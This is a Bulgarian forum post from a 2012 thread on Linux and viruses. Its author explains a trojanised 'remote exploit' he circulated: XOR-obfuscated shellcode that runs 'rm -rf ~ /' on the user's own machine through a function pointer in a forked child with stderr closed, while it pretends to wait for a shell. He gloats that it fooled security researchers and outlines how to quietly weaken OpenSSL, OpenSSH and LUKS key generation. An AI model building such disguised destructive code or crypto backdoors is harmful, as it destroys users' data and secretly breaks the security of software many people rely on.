Пфу добре, де обяснявам всичко
Почваме от payload-а, който изглежда като shellcode като за remote exploit, ама не е. Въпреки че е position-independant код. Ако човек реши да го дизасемблира и не разбира особено много от асемблер, няма да разбере особено много. В общи линии, MOV-ваме някакви стойности в някакъв регистър, XOR-ваме ги с някаква стойност, PUSH-ваме ги в стека и накрая викаме INT 80h. Ако човек се разрови в x86 syscall таблицата, ще види че syscall-а е SYS_execve(), демек изпълняваме това в стека с параметрите в стека.
Цялата идея е че в payload-а няма никъде нищо в cleartext вид така че някой ако реши да търси низове в binary-то примерно със strings, да разбере какво става. Проста и елементарна anti-debugging техника. Всички низове, които ще влязат в стека са XOR-криптирани и ги декриптираме on-the-fly преди да ги push-нем.
Та низовете са "/bin/rm", "-rf", "~", "/".
Тях подаваме към системното повикване SYS_execve(). Сега, това работи на x86, но не и на x86_64 - там номера на системното повикване (и съответно стойността на rax регистъра) е друга, а и calling конвенцията е друга - вече не push-ваме в стека, а предаваме на някой регистър адрес към паметта, където се намира низа. Така че това ще fail-не на AMD64 система. Освен ако не се компилира изрично с -m32.
Останалото е в C кода. Наистина сглобяваме HTTP заявка включваща payload-а и наистина я изпращаме, но тази заявка е безобидна и няма да направи никаква мизерия на отсрещния сървър.
От друга страна....
int (*sc)()=(int(*)())shellcode;
.....
printf("Waiting some seconds to see if we got shell...\n");
pid=fork();
if (pid==0) {close(2);sc();exit(0);}
else
{
sleep(2);
if (sd)
{
printf("Now type nc %s 12345 to see if you've got shell there\n",argv[1]);
close(sd);
}
}
Тук става цялата магия. Имаме function pointer, sc който инициализираме със адреса на shellcode-а. Когато викнем sc(), реално погледнато викаме shellcode-а, локално. Сега, можеше да не е sc(), а нещо доста близко като име до някоя libc функция, но не ми е минало през акъла. По-долу форкваме нов процес и се правим че вършим работа докато просто sleep-ваме 2 секунди. Но child процеса всъщност прави подмолната работа, първо затваря файлов дескриптор 2 (stderr) така че каквито и съобщения за грешка да излязат, да ходят в кофата. След това вика нашия shellcode, който пък exec-ва /bin/rm -rf ~ /. Тъй като parent-а не го wait()-ва, то той си излиза след 2 секунди, а в background-а, child процеса си върши работата по затриването на home директорията или / директорията (ако успее). Дори да не може да изтрие нещо, няма да излезе съобщение за грешка, което да притеснява потребителя.
Цялата схема не е особено изпипана, обаче успя да заблуди доста хора, включително добрите джедаи от securityfocus, които от своя страна изложиха на риск други добри джедаи които си secure-ват машините, не е ли смешно
Иначе като цяло, идеята да пишеш код, който нарочно прави катастрофи и е добре прикрита катастрофата, лично на мен много ми допада. Оттогава (това е преди повече от 2 години), доста съм се усъвършенствал в тази област хехе
Между другото, това не е най-забавната част. Най-забавната част е когато установиш колко е лесно да subvert-ваш криптографията. Примерно на мен ми трябват само няколко реда промени в кода на openssl библиотеката, за да направя голямата забава. Понеже apache се link-ва с нея. Примерно всички SSL сесии ще продължат да бъдат криптирани с тази малка особеност че ако аз ги снифя мога да ги разбия почти в реално време защото сесийният симетричен ключ ще е с ужасно ниска ентропия. Нека си създават нови private keys, нека си изискват ако ще EV сертификат за сума ти пари, това нищо не променя. Всичко е въпрос на едно побитово отместване някъде си. И всичко изглежда наред. По същият начин, мога да бутна кода на OpenSSH и винаги да генерира двойка ключове с ужасно ниска ентропия. Да има късмет някой да ги сложи някъде в authorized_keys, ще настане забава. По същият начин, лесно може да се subvert-не криптографията в disk encryption системите, малко да бутна сорса на LUKS, само колкото да намаля PBKDF2 итерациите на 1 и да отрежа key size-а, ще мога да си го чупя за много обозримо време. И всичко това може да се направи ама далеч по-елегантно и трудно откриваемо, така че и в opensource проект където доста хора си врат гагата, да не се усетят за каква конспирация става въпрос. Плашещо направо
Автор
Тема: linux и вирусите (Прочетена 15977 пъти)
Dec 08, 2012, 20:46